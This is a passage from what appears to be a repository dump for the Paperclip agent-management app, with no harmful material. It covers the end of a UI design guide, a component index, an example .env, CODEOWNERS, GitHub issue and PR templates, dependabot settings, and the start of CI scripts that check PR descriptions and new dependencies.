`bg-neutral-950 rounded-lg p-3 font-mono text-xs` container. Color lines by level: default (foreground), WARN (yellow-400), ERROR (red-400), SYS (blue-300). Include live indicator dot when streaming.
---
## 8. Interactive Patterns
### Hover States
- Entity rows: `hover:bg-accent/50`
- Nav items: `hover:bg-accent/50 hover:text-accent-foreground`
- Active nav: `bg-accent text-accent-foreground`
### Focus
`focus-visible:ring-ring focus-visible:ring-[3px]` — standard Tailwind focus-visible ring.
### Disabled
`disabled:opacity-50 disabled:pointer-events-none`
### Inline Editing
Use `InlineEditor` component — click text to edit, Enter saves, Escape cancels.
### Popover Selectors
StatusIcon and PriorityIcon use Radix Popover for inline selection. Follow this pattern for any clickable property that opens a picker.
---
## 9. Layout System
Three-zone layout defined in `Layout.tsx`:
```
┌──────────┬──────────────────────────────┬──────────────────────┐
│ Sidebar │ Breadcrumb bar │ │
│ (w-60) ├──────────────────────────────┤ Properties panel │
│ │ Main content (flex-1) │ (w-80, optional) │
└──────────┴──────────────────────────────┴──────────────────────┘
```
- Sidebar: `w-60`, collapsible, contains CompanySwitcher + SidebarSections
- Properties panel: `w-80`, shown on detail views, hidden on lists
- Main content: scrollable, `flex-1`
---
## 10. The /design-guide Page
**Location:** `ui/src/pages/DesignGuide.tsx`
**Route:** `/design-guide`
This is the living showcase of every component and pattern in the app. It is the source of truth for how things look.
### Rules
1. **When you add a new reusable component, you MUST add it to the design guide page.** Show all variants, sizes, and states.
2. **When you modify an existing component's API, update its design guide section.**
3. **When you add a new composition pattern, add a section demonstrating it.**
4. Follow the existing structure: `<Section title="...">` wrapper with `<SubSection>` for grouping.
5. Keep sections ordered logically: foundational (colors, typography) first, then primitives, then composites, then patterns.
### Adding a New Section
```tsx
<Section title="My New Component">
<SubSection title="Variants">
{/* Show all variants */}
</SubSection>
<SubSection title="Sizes">
{/* Show all sizes */}
</SubSection>
<SubSection title="States">
{/* Show interactive/disabled states */}
</SubSection>
</Section>
```
---
## 11. Component Index
**See [references/component-index.md](references/component-index.md) for the full component inventory.**
When you create a new reusable component:
1. Add it to the component index reference file
2. Add it to the /design-guide page
3. Follow existing naming and file conventions
---
## 12. File Conventions
- **shadcn primitives:** `ui/src/components/ui/{component}.tsx` — lowercase, kebab-case
- **Custom components:** `ui/src/components/{ComponentName}.tsx` — PascalCase
- **Pages:** `ui/src/pages/{PageName}.tsx` — PascalCase
- **Utilities:** `ui/src/lib/{name}.ts`
- **Hooks:** `ui/src/hooks/{useName}.ts`
- **API modules:** `ui/src/api/{entity}.ts`
- **Context providers:** `ui/src/context/{Name}Context.tsx`
All components use `cn()` from `@/lib/utils` for className merging. All components use CVA for variant definitions when they have multiple visual variants.
---
## 13. Common Mistakes to Avoid
- Using raw hex/rgb colors instead of CSS variable tokens
- Creating ad-hoc typography styles instead of using the established scale
- Hardcoding status colors instead of using StatusBadge/StatusIcon
- Building one-off styled elements when a reusable component exists
- Adding components without updating the design guide page
- Using `shadow-md` or heavier — keep shadows minimal (xs, sm only)
- Using `rounded-2xl` or larger — max is `rounded-xl` (except `rounded-full` for pills)
- Forgetting dark mode — always use semantic tokens, never hardcode light/dark values
@@ -0,0 +1,323 @@
# Paperclip Component Index
Complete inventory of all UI components. Update this file when adding new reusable components.
---
## Table of Contents
1. [shadcn/ui Primitives](#shadcnui-primitives)
2. [Custom Components](#custom-components)
3. [Layout Components](#layout-components)
4. [Dialog & Form Components](#dialog--form-components)
5. [Property Panel Components](#property-panel-components)
6. [Agent Configuration](#agent-configuration)
7. [Utilities & Hooks](#utilities--hooks)
---
## shadcn/ui Primitives
Location: `ui/src/components/ui/`
These are shadcn/ui base components. Do not modify directly — extend via composition.
| Component | File | Key Props | Notes |
|-----------|------|-----------|-------|
| Button | `button.tsx` | `variant` (default, secondary, outline, ghost, destructive, link), `size` (xs, sm, default, lg, icon, icon-xs, icon-sm, icon-lg) | Primary interactive element. Uses CVA. |
| Card | `card.tsx` | CardHeader, CardTitle, CardDescription, CardAction, CardContent, CardFooter | Compound component. `py-6` default padding. |
| Input | `input.tsx` | `disabled` | Standard text input. |
| Badge | `badge.tsx` | `variant` (default, secondary, outline, destructive, ghost) | Generic label/tag. For status, use StatusBadge instead. |
| Label | `label.tsx` | — | Form label, wraps Radix Label. |
| Select | `select.tsx` | Trigger, Content, Item, etc. | Radix-based dropdown select. |
| Separator | `separator.tsx` | `orientation` (horizontal, vertical) | Divider line. |
| Checkbox | `checkbox.tsx` | `checked`, `onCheckedChange` | Radix checkbox with indicator. |
| Textarea | `textarea.tsx` | Standard textarea props | Multi-line input. |
| Avatar | `avatar.tsx` | `size` (sm, default, lg). Includes AvatarGroup, AvatarGroupCount | Image or fallback initials. |
| Breadcrumb | `breadcrumb.tsx` | BreadcrumbList, BreadcrumbItem, BreadcrumbLink, BreadcrumbSeparator, BreadcrumbPage | Navigation breadcrumbs. |
| Command | `command.tsx` | CommandInput, CommandList, CommandGroup, CommandItem | Command palette / search. Based on cmdk. |
| Dialog | `dialog.tsx` | DialogTrigger, DialogContent, DialogHeader, DialogTitle, DialogDescription, DialogFooter | Modal overlay. |
| DropdownMenu | `dropdown-menu.tsx` | Trigger, Content, Item, Separator, etc. | Context/action menus. |
| Popover | `popover.tsx` | PopoverTrigger, PopoverContent | Floating content panel. |
| Tabs | `tabs.tsx` | `variant` (pill, line). TabsList, TabsTrigger, TabsContent | Tabbed navigation. Pill = default, line = underline style. |
| Tooltip | `tooltip.tsx` | TooltipTrigger, TooltipContent | Hover tooltips. App is wrapped in TooltipProvider. |
| ScrollArea | `scroll-area.tsx` | — | Custom scrollable container. |
| Collapsible | `collapsible.tsx` | CollapsibleTrigger, CollapsibleContent | Expand/collapse sections. |
| Skeleton | `skeleton.tsx` | className for sizing | Loading placeholder with shimmer. |
| Sheet | `sheet.tsx` | SheetTrigger, SheetContent, SheetHeader, etc. | Side panel overlay. |
---
## Custom Components
Location: `ui/src/components/`
### StatusBadge
**File:** `StatusBadge.tsx`
**Props:** `status: string`
**Usage:** Colored pill showing entity status. Supports 20+ statuses with mapped colors.
```tsx
<StatusBadge status="in_progress" />
```
Use for displaying status in properties panels, entity rows, and list views. Never hardcode status colors — always use this component.
### StatusIcon
**File:** `StatusIcon.tsx`
**Props:** `status: string`, `onChange?: (status: string) => void`
**Usage:** Circle icon representing issue status. When `onChange` provided, opens a popover picker.
```tsx
<StatusIcon status="todo" onChange={setStatus} />
```
Supports: backlog, todo, in_progress, in_review, done, cancelled, blocked. Use in entity row leading slots and grouped list headers.
### PriorityIcon
**File:** `PriorityIcon.tsx`
**Props:** `priority: string`, `onChange?: (priority: string) => void`
**Usage:** Priority indicator icon. Interactive when `onChange` provided.
```tsx
<PriorityIcon priority="high" onChange={setPriority} />
```
Supports: critical, high, medium, low. Use alongside StatusIcon in entity row leading slots.
### EntityRow
**File:** `EntityRow.tsx`
**Props:** `leading`, `identifier`, `title`, `subtitle?`, `trailing?`, `onClick?`, `selected?`
**Usage:** Standard list row for issues, agents, projects. Supports hover highlight and selected state.
```tsx
<EntityRow
leading={<><StatusIcon status="todo" /><PriorityIcon priority="medium" /></>}
identifier="PAP-003"
title="Write API documentation"
trailing={<StatusBadge status="todo" />}
onClick={() => navigate(`/issues/${id}`)}
/>
```
Wrap multiple EntityRows in a `border border-border rounded-md` container.
### MetricCard
**File:** `MetricCard.tsx`
**Props:** `icon: LucideIcon`, `value: string | number`, `label: string`, `description?: string`
**Usage:** Dashboard stat card with icon, large value, label, and optional description.
```tsx
<MetricCard icon={Bot} value={12} label="Active Agents" description="+3 this week" />
```
Always use in a responsive grid: `grid md:grid-cols-2 xl:grid-cols-4 gap-4`.
### EmptyState
**File:** `EmptyState.tsx`
**Props:** `icon: LucideIcon`, `message: string`, `action?: string`, `onAction?: () => void`
**Usage:** Empty list placeholder with icon, message, and optional CTA button.
```tsx
<EmptyState icon={Inbox} message="No items yet." action="Create Item" onAction={handleCreate} />
```
### FilterBar
**File:** `FilterBar.tsx`
**Props:** `filters: FilterValue[]`, `onRemove: (key) => void`, `onClear: () => void`
**Type:** `FilterValue = { key: string; label: string; value: string }`
**Usage:** Filter chip display with remove buttons and clear all.
```tsx
<FilterBar filters={filters} onRemove={handleRemove} onClear={() => setFilters([])} />
```
### Identity
**File:** `Identity.tsx`
**Props:** `name: string`, `avatarUrl?: string`, `initials?: string`, `size?: "sm" | "default" | "lg"`
**Usage:** Avatar + name display for users and agents. Derives initials from name automatically. Three sizes matching Avatar sizes.
```tsx
<Identity name="Agent Alpha" size="sm" />
<Identity name="CEO Agent" />
<Identity name="Backend Service" size="lg" avatarUrl="/img/bot.png" />
```
Use in property rows, comment headers, assignee displays, and anywhere a user/agent reference is shown.
### InlineEditor
**File:** `InlineEditor.tsx`
**Props:** `value: string`, `onSave: (val: string) => void`, `as?: string`, `className?: string`
**Usage:** Click-to-edit text. Renders as display text, clicking enters edit mode. Enter saves, Escape cancels.
```tsx
<InlineEditor value={title} onSave={updateTitle} as="h2" className="text-xl font-bold" />
```
### PageSkeleton
**File:** `PageSkeleton.tsx`
**Props:** `variant: "list" | "detail"`
**Usage:** Full-page loading skeleton matching list or detail layout.
```tsx
<PageSkeleton variant="list" />
```
### CommentThread
**File:** `CommentThread.tsx`
**Usage:** Comment list with add-comment form. Used on issue and entity detail views.
### GoalTree
**File:** `GoalTree.tsx`
**Usage:** Hierarchical goal tree with expand/collapse. Used on the goals page.
### CompanySwitcher
**File:** `CompanySwitcher.tsx`
**Usage:** Company selector dropdown in sidebar header.
---
## Layout Components
### Layout
**File:** `Layout.tsx`
**Usage:** Main app shell. Three-zone layout: Sidebar + Main content + Properties panel. Wraps all routes.
### Sidebar
**File:** `Sidebar.tsx`
**Usage:** Left navigation sidebar (`w-60`). Contains CompanySwitcher, search button, new issue button, and SidebarSections.
### SidebarSection
**File:** `SidebarSection.tsx`
**Usage:** Collapsible sidebar group with header label and chevron toggle.
### SidebarNavItem
**File:** `SidebarNavItem.tsx`
**Props:** Icon, label, optional badge count
**Usage:** Individual nav item within a SidebarSection.
### BreadcrumbBar
**File:** `BreadcrumbBar.tsx`
**Usage:** Top breadcrumb navigation spanning main content + properties panel.
### PropertiesPanel
**File:** `PropertiesPanel.tsx`
**Usage:** Right-side properties panel (`w-80`). Closeable. Shown on detail views.
### CommandPalette
**File:** `CommandPalette.tsx`
**Usage:** Cmd+K global search modal. Searches issues, projects, agents.
---
## Dialog & Form Components
### NewIssueDialog
**File:** `NewIssueDialog.tsx`
**Usage:** Create new issue with project/assignee/priority selection. Supports draft saving.
### NewProjectDialog
**File:** `NewProjectDialog.tsx`
**Usage:** Create new project dialog.
### NewAgentDialog
**File:** `NewAgentDialog.tsx`
**Usage:** Create new agent dialog.
### OnboardingWizard
**File:** `OnboardingWizard.tsx`
**Usage:** Multi-step onboarding flow for new users/companies.
---
## Property Panel Components
These render inside the PropertiesPanel for different entity types:
| Component | File | Entity |
|-----------|------|--------|
| IssueProperties | `IssueProperties.tsx` | Issues |
| AgentProperties | `AgentProperties.tsx` | Agents |
| ProjectProperties | `ProjectProperties.tsx` | Projects |
| GoalProperties | `GoalProperties.tsx` | Goals |
All follow the property row pattern: `text-xs text-muted-foreground` label on left, value on right, `py-1.5` spacing.
---
## Agent Configuration
### agent-config-primitives
**File:** `agent-config-primitives.tsx`
**Exports:** Field, ToggleField, ToggleWithNumber, CollapsibleSection, AutoExpandTextarea, DraftInput
**Usage:** Reusable form field primitives for agent configuration forms.
### AgentConfigForm
**File:** `AgentConfigForm.tsx`
**Usage:** Full agent creation/editing form with adapter type selection.
---
## Utilities & Hooks
### cn() — Class Name Merger
**File:** `ui/src/lib/utils.ts`
**Usage:** Merges class names with clsx + tailwind-merge. Use in every component.
```tsx
import { cn } from "@/lib/utils";
<div className={cn("base-classes", conditional && "extra", className)} />
```
### Formatting Utilities
**File:** `ui/src/lib/utils.ts`
| Function | Usage |
|----------|-------|
| `formatCents(cents)` | Money display: `$12.34` |
| `formatDate(date)` | Date display: `Jan 15, 2025` |
| `relativeTime(date)` | Relative time: `2m ago`, `Jan 15` |
| `formatTokens(count)` | Token counts: `1.2M`, `500k` |
### useKeyboardShortcuts
**File:** `ui/src/hooks/useKeyboardShortcuts.ts`
**Usage:** Global keyboard shortcut handler. Registers Cmd+K, C, [, ], Cmd+Enter.
### Query Keys
**File:** `ui/src/lib/queryKeys.ts`
**Usage:** Structured React Query key factories for cache management.
### groupBy
**File:** `ui/src/lib/groupBy.ts`
**Usage:** Generic array grouping utility.
+1
View File
@@ -0,0 +1 @@
../../skills/paperclip
+10
View File
@@ -0,0 +1,10 @@
.git
.github
.paperclip
.pnpm-store
node_modules
**/node_modules
coverage
data
tmp
*.log
+7
View File
@@ -0,0 +1,7 @@
DATABASE_URL=postgres://paperclip:paperclip@localhost:5432/paperclip
PORT=3100
SERVE_UI=false
BETTER_AUTH_SECRET=paperclip-dev-secret
# Discord webhook for daily merge digest (scripts/discord-daily-digest.sh)
# DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
+18
View File
@@ -0,0 +1,18 @@
# Replace @cryppadotta if a different maintainer or team should own release infrastructure.
.github/** @cryppadotta @devinfoley @nickyleach
scripts/release*.sh @cryppadotta @devinfoley @nickyleach
scripts/release-*.mjs @cryppadotta @devinfoley @nickyleach
scripts/create-github-release.sh @cryppadotta @devinfoley @nickyleach
scripts/rollback-latest.sh @cryppadotta @devinfoley @nickyleach
doc/RELEASING.md @cryppadotta @devinfoley @nickyleach
doc/PUBLISHING.md @cryppadotta @devinfoley @nickyleach
doc/RELEASE-AUTOMATION-SETUP.md @cryppadotta @devinfoley @nickyleach
skills/** @cryppadotta @devinfoley @nickyleach
# Package files — dependency changes require review
# package.json matches recursively at all depths (covers root + all workspaces)
package.json @cryppadotta @devinfoley @nickyleach
pnpm-lock.yaml @cryppadotta @devinfoley @nickyleach
pnpm-workspace.yaml @cryppadotta @devinfoley @nickyleach
.npmrc @cryppadotta @devinfoley @nickyleach
@@ -0,0 +1,42 @@
name: New agent adapter
description: Request or propose support for a new AI agent or model provider
labels: [adapter]
body:
- type: markdown
attributes:
value: |
New agent adapters are welcome without prior discussion. If you plan to implement, prefer extending Paperclip via the [plugin system](https://github.com/paperclipai/paperclip/blob/master/doc/plugins/PLUGIN_SPEC.md) when possible.
- type: input
id: agent
attributes:
label: Agent or provider
description: Name of the agent, model, or CLI tool.
placeholder: e.g. Gemini CLI, LM Studio, Mistral
validations:
required: true
- type: textarea
id: why
attributes:
label: Why this adapter is useful
description: What use cases does this unlock? Who would benefit?
validations:
required: true
- type: textarea
id: how-invoked
attributes:
label: How the agent is invoked
description: CLI command, API endpoint, SDK — whatever is relevant. Link docs if available.
validations:
required: true
- type: checkboxes
id: willing
attributes:
label: Are you willing to implement it?
options:
- label: Yes, I plan to open a PR
- label: No, requesting for someone else to pick up
- type: textarea
id: context
attributes:
label: Additional context
description: Links, examples from existing adapters, configuration quirks, etc.
+174
View File
@@ -0,0 +1,174 @@
name: Bug report
description: Something is broken or behaving unexpectedly
labels: [bug]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to file a bug. Please fill out the sections below so we can reproduce and triage quickly.
> **⚠️ Privacy notice:** Several fields below accept logs, config, or transcript output that may contain **personally identifiable information (PII)** — usernames in file paths, API keys, tokens, company names, agent output, or task content. Before pasting:
> 1. Review for sensitive data
> 2. Redact usernames, paths, API keys, tokens (e.g. replace `/Users/yourname/` with `/Users/REDACTED/`)
> 3. For heavy output, consider running it through an anonymizer such as **[presidio-anonymizer](https://microsoft.github.io/presidio/)** (open-source, local-only) or **[scrub](https://github.com/dssg/scrub)**
- type: checkboxes
id: preflight
attributes:
label: Pre-submission checklist
description: Please confirm each of these before filing.
options:
- label: I have searched existing open and closed issues and this is not a duplicate.
required: true
- label: I am on the latest released version of Paperclip (or can reproduce on `master`).
required: true
- label: I have confirmed the error originates in Paperclip itself — not in my agent adapter, API provider, or local configuration.
required: true
- type: textarea
id: what-happened
attributes:
label: What happened?
description: A clear description of the bug. Be specific about which Paperclip command, endpoint, or UI action was involved.
placeholder: When I do X, Y happens instead of Z.
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: What should have happened instead.
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
description: Numbered steps a maintainer can follow to reproduce the bug. Start from a clean install where possible.
value: |
1.
2.
3.
validations:
required: true
- type: input
id: paperclip-version
attributes:
label: Paperclip version or commit
description: Output of `paperclipai --version` or the commit SHA you are running.
placeholder: e.g. 0.42.0 or 78dc3625ac
validations:
required: true
- type: dropdown
id: deployment
attributes:
label: Deployment mode
options:
- Local dev (pnpm dev)
- Docker
- Self-hosted server
- Other
validations:
required: true
- type: dropdown
id: install_method
attributes:
label: Installation method
options:
- npm / pnpm global install
- Docker
- Built from source (pnpm dev / pnpm build)
- Other
validations:
required: false
- type: checkboxes
id: adapters
attributes:
label: Agent adapter(s) involved
description: Select all that apply. If unsure, leave unchecked and describe in additional context.
options:
- label: Claude Code
- label: Codex
- label: Cursor
- label: Droid
- label: Hermes
- label: Custom / external plugin adapter
- label: Not adapter-specific (core bug)
- type: dropdown
id: database
attributes:
label: Database mode
options:
- Embedded PGlite (default — `DATABASE_URL` unset)
- External Postgres
- Not database-related
validations:
required: false
- type: dropdown
id: access_context
attributes:
label: Access context
description: Whose credentials were being used when the bug occurred?
options:
- Board (human operator)
- Agent (bearer API key via `agent_api_keys`)
- Both
- Unclear / not applicable
validations:
required: false
- type: input
id: node-version
attributes:
label: Node.js version
description: Output of `node --version`.
placeholder: e.g. v20.18.0
- type: input
id: os
attributes:
label: Operating system
placeholder: e.g. macOS 14.5 (Apple Silicon), Ubuntu 22.04
- type: textarea
id: logs
attributes:
label: Relevant logs or output
description: |
Paste error messages, stack traces, or API responses. Will be rendered as a code block.
**⚠️ PII warning:** Server logs often contain file paths with your username (e.g. `/Users/yourname/...`). Redact before pasting.
render: shell
- type: textarea
id: config
attributes:
label: Relevant config (if applicable)
description: |
If the bug is config-related, paste the relevant snippet.
**⚠️ PII warning:** Paperclip config may contain API keys, encrypted-secrets paths, company names, or tokens. **Remove all secrets before pasting.**
render: json
- type: textarea
id: context
attributes:
label: Additional context
description: Screenshots, related issues, or anything else that might help.
- type: checkboxes
id: pii_confirmed
attributes:
label: Privacy checklist
description: Please confirm you've reviewed your submission for sensitive data.
options:
- label: I have reviewed all pasted output for PII (usernames, file paths, API keys, tokens, company names) and redacted where necessary.
required: true
+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: Discord (#dev)
url: https://discord.gg/paperclipai
about: Design discussions, questions, and feature coordination before opening a PR
- name: Roadmap
url: https://github.com/paperclipai/paperclip/blob/master/ROADMAP.md
about: Check the roadmap before requesting a feature
+44
View File
@@ -0,0 +1,44 @@
name: Documentation issue
description: Report incorrect, missing, or unclear documentation
labels: [documentation]
body:
- type: markdown
attributes:
value: |
Help improve the docs. Point us at what's wrong, missing, or confusing.
- type: dropdown
id: type
attributes:
label: Issue type
options:
- Incorrect information
- Missing documentation
- Unclear or confusing
- Outdated (no longer matches behavior)
- Typo or formatting
validations:
required: true
- type: input
id: location
attributes:
label: Where is the issue?
description: File path, URL, or section name.
placeholder: "e.g. README.md#installation, doc/DEVELOPING.md, docs/plugins.md"
validations:
required: true
- type: textarea
id: description
attributes:
label: What's wrong?
description: Describe the documentation issue.
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: Suggested fix
description: If you know what the correct information should be, include it here.
+92
View File
@@ -0,0 +1,92 @@
name: Enhancement proposal
description: Propose an improvement to an existing Paperclip feature
labels: [enhancement]
body:
- type: markdown
attributes:
value: |
An enhancement improves something that already exists — better output, broader edge-case handling, clearer UX, performance. It does not add new commands, endpoints, or concepts. If you are proposing something new, use the **Feature request** template instead.
- type: checkboxes
id: preflight
attributes:
label: Pre-submission checklist
description: Please confirm each of these before filing.
options:
- label: I have confirmed this improves existing behavior — it does not add a new command, endpoint, or concept.
required: true
- label: I have searched existing open and closed issues and this has not already been proposed.
required: true
- type: input
id: what_is_improved
attributes:
label: What existing behavior does this improve?
description: Name the specific command, endpoint, UI view, or behavior being enhanced.
placeholder: "e.g. /api/companies response shape, board task list sorting, adapter startup log output"
validations:
required: true
- type: dropdown
id: subsystem
attributes:
label: Subsystem affected
options:
- server/ — REST API & orchestration services
- ui/ — React + Vite board UI
- packages/db — Drizzle schema, migrations
- packages/shared — types, constants, validators, API paths
- packages/adapters — agent adapter implementations
- packages/plugins — plugin system
- Cross-cutting (multiple of the above)
- Unsure
validations:
required: true
- type: textarea
id: current_behavior
attributes:
label: Current behavior
description: Describe exactly how it works today. Include example output or a screenshot if helpful.
placeholder: |
Currently, when I call ..., the response is ...
validations:
required: true
- type: textarea
id: proposed_behavior
attributes:
label: Proposed behavior
description: Describe exactly how it should work after the enhancement. Include example output.
placeholder: |
After this enhancement, the response would be ...
validations:
required: true
- type: textarea
id: reason
attributes:
label: Reason and benefit
description: |
Why is the current behavior a problem, and what is the concrete benefit of the proposed behavior?
Vague answers like "it would be better" or "more user-friendly" are not enough.
validations:
required: true
- type: textarea
id: breaking_changes
attributes:
label: Breaking changes
description: |
Does this change any behavior, response shape, or output format that users or agents might rely on?
If yes, describe exactly what changes and how backward compatibility is maintained.
Write "None" only if you are certain.
validations:
required: true
- type: textarea
id: additional_context
attributes:
label: Additional context
description: Screenshots, related issues, or anything else.
@@ -0,0 +1,53 @@
name: Feature request
description: Propose a new capability or improvement
labels: [enhancement]
body:
- type: markdown
attributes:
value: |
Feature work on core Paperclip is coordinated against `ROADMAP.md` and Discord `#dev`. Please skim those before filing — see [CONTRIBUTING.md](https://github.com/paperclipai/paperclip/blob/master/CONTRIBUTING.md) for the full guidance.
- type: dropdown
id: subsystem
attributes:
label: Subsystem affected
description: Which part of the codebase would this primarily live in?
options:
- server/ — REST API & orchestration services
- ui/ — React + Vite board UI
- packages/db — Drizzle schema, migrations
- packages/shared — types, constants, validators, API paths
- packages/adapters — agent adapter implementations
- packages/plugins — plugin system
- Cross-cutting (multiple of the above)
- Unsure
validations:
required: true
- type: textarea
id: problem
attributes:
label: Problem or motivation
description: What are you trying to do that is currently difficult or impossible?
validations:
required: true
- type: textarea
id: solution
attributes:
label: Proposed solution
description: Describe the feature you'd like. How should it work?
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: Other approaches you thought about and why you ruled them out.
- type: textarea
id: roadmap
attributes:
label: Roadmap alignment
description: Does this relate to anything in `ROADMAP.md`? Link the relevant section if so.
- type: textarea
id: context
attributes:
label: Additional context
description: Mockups, examples from other tools, related issues, etc.
+98
View File
@@ -0,0 +1,98 @@
## Thinking Path
<!--
Required. Trace your reasoning from the top of the project down to this
specific change. Start with what Paperclip is, then narrow through the
subsystem, the problem, and why this PR exists. Use blockquote style.
Aim for 5–8 steps. See CONTRIBUTING.md for full examples.
-->
> - Paperclip is the open source app people use to manage AI agents for work
> - [Which subsystem or capability is involved]
> - [What problem or gap exists]
> - [Why it needs to be addressed]
> - This pull request ...
> - The benefit is ...
## Linked Issues or Issue Description
<!--
Required. Pick ONE of the following two paths:
(A) Issue exists — tag each linked issue with `Fixes: #123`, `Closes #123`,
or `Refs #123`. Include duplicates and closely related issues too.
Only reference PUBLIC GitHub issues/PRs here. Do NOT paste internal,
instance-local Paperclip references — ticket ids like PAPA-123 / PAP-224,
/PAP/issues/... or agent://... links, or localhost/tailnet URLs. Other
contributors cannot open them. See CONTRIBUTING.md → "No Internal Issue
References".
(B) No issue exists — describe the underlying problem here, following the
relevant issue template so reviewers get the same fields:
• Bug: .github/ISSUE_TEMPLATE/bug_report.yml
• Feature: .github/ISSUE_TEMPLATE/feature_request.yml
• Adapter: .github/ISSUE_TEMPLATE/adapter_request.yml
See CONTRIBUTING.md → "Link Issues or Describe Them In-PR".
-->
-
## What Changed
<!-- Bullet list of concrete changes. One bullet per logical unit. -->
-
## Verification
<!--
How can a reviewer confirm this works? Include test commands, manual
steps, or both.
-->
-
## Risks
<!--
What could go wrong? Mention migration safety, breaking changes,
behavioral shifts, or "Low risk" if genuinely minor.
-->
-
> For core feature work, check [`ROADMAP.md`](ROADMAP.md) first and discuss it in `#dev` before opening the PR. Feature PRs that overlap with planned core work may need to be redirected — check the roadmap first. See `CONTRIBUTING.md`.
## Model Used
<!--
Required. Specify which AI model was used to produce or assist with
this change. Be as descriptive as possible — include:
• Provider and model name (e.g., Claude, GPT, Gemini, Codex)
• Exact model ID or version (e.g., claude-opus-4-6, gpt-4-turbo-2024-04-09)
• Context window size if relevant (e.g., 1M context)
• Reasoning/thinking mode if applicable (e.g., extended thinking, chain-of-thought)
• Any other relevant capability details (e.g., tool use, code execution)
If no AI model was used, write "None — human-authored".
-->
-
## Checklist
- [ ] I have included a thinking path that traces from project context to this change
- [ ] I have specified the model used (with version and capability details)
- [ ] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work
- [ ] I have searched GitHub for duplicate or related PRs and linked them above
- [ ] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template
- [ ] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs)
- [ ] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details
- [ ] I have run tests locally and they pass
- [ ] I have added or updated tests where applicable
- [ ] I have updated relevant documentation to reflect my changes
- [ ] I have considered and documented any risks above
- [ ] All Paperclip CI gates are green
- [ ] Greptile is 5/5 with no open P2s, recommendations, or follow-ups
- [ ] I will address all Greptile and reviewer comments before requesting merge
+23
View File
@@ -0,0 +1,23 @@
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 10
labels:
- "dependencies"
ignore:
# Ignore major version bumps — review those manually
- dependency-name: "*"
update-types: ["version-update:semver-major"]
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 5
+71
View File
@@ -0,0 +1,71 @@
#!/usr/bin/env node
/**
* check-pr-dedup-search.mjs
* Checks that the PR body affirms the author searched for similar PRs before
* opening this one. Looks for a checked checklist line matching the dedup
* affirmation in the PR template. Respects the same skip prefixes as the
* linked-issue gate.
*
* Export: checkDedupSearch(prBody, prTitle) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
const SKIP_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'test', 'revert'];
// Match a markdown checkbox line whose label mentions searching for similar
// PRs. Examples that should match (checked):
// - [x] I searched for similar open/closed PRs and confirmed this is not a duplicate
// - [X] I searched the GitHub PR list (open + recently closed) for similar PRs ...
// * [x] Searched for similar PRs — not a duplicate
const DEDUP_CHECKBOX_RE =
/^\s*[-*]\s*\[\s*([ xX])\s*\][^\n]*search(?:ed)?[^\n]*(?:similar|duplicate|prior)[^\n]*\bprs?\b/im;
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
export function checkDedupSearch(body, prTitle = '') {
const prefix = parsePrefix(prTitle);
if (prefix && SKIP_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
if (!body || !body.trim()) {
return {
passed: false,
failures: ['PR body is empty — please fill out the PR template'],
};
}
const match = body.match(DEDUP_CHECKBOX_RE);
if (!match) {
return {
passed: false,
failures: [
'Add the dedup-search checkbox to your PR description and check it once ' +
'you have searched the GitHub PR list for similar PRs. See the PR template ' +
'at .github/PULL_REQUEST_TEMPLATE.md and CONTRIBUTING.md → "Before You Start: Search First".',
],
};
}
const checked = match[1] === 'x' || match[1] === 'X';
return {
passed: checked,
failures: checked ? [] : [
'Please confirm you searched the GitHub PR list for similar PRs by ' +
'checking the dedup-search checkbox in your PR description ' +
'(`- [x] I searched ...`). See CONTRIBUTING.md → "Before You Start: Search First".',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const title = process.env.PR_TITLE ?? '';
const result = checkDedupSearch(body, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+89
View File
@@ -0,0 +1,89 @@
#!/usr/bin/env node
/**
* check-pr-dependencies.mjs
* Detects new npm packages added in this PR vs. the base branch.
* Never fails (informational only) — outputs { passed: true, informational: string[] }
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef) {
if (baseRef) {
return baseRef;
}
const pr = await fetchFromGitHub(`/repos/${repo}/pulls/${prNumber}`, token);
if (pr.base?.ref) {
return pr.base.ref;
}
const repository = await fetchFromGitHub(`/repos/${repo}`, token);
if (repository.default_branch) {
return repository.default_branch;
}
throw new Error(`Unable to resolve a base branch for ${repo}#${prNumber}.`);
}
export async function checkDependencies(files, token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const pkgFiles = files.filter(
f => f.filename.endsWith('package.json') &&
!f.filename.includes('node_modules') &&
f.status !== 'removed'
);
if (pkgFiles.length === 0) return { passed: true, informational: [] };
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const newPackages = new Set();
for (const file of pkgFiles) {
try {
const [baseRes, prRes] = await Promise.all([
fetchFromGitHub(buildContentsPath(repo, file.filename, resolvedBaseRef), token),
fetchFromGitHub(buildContentsPath(repo, file.filename, `refs/pull/${prNumber}/head`), token),
]);
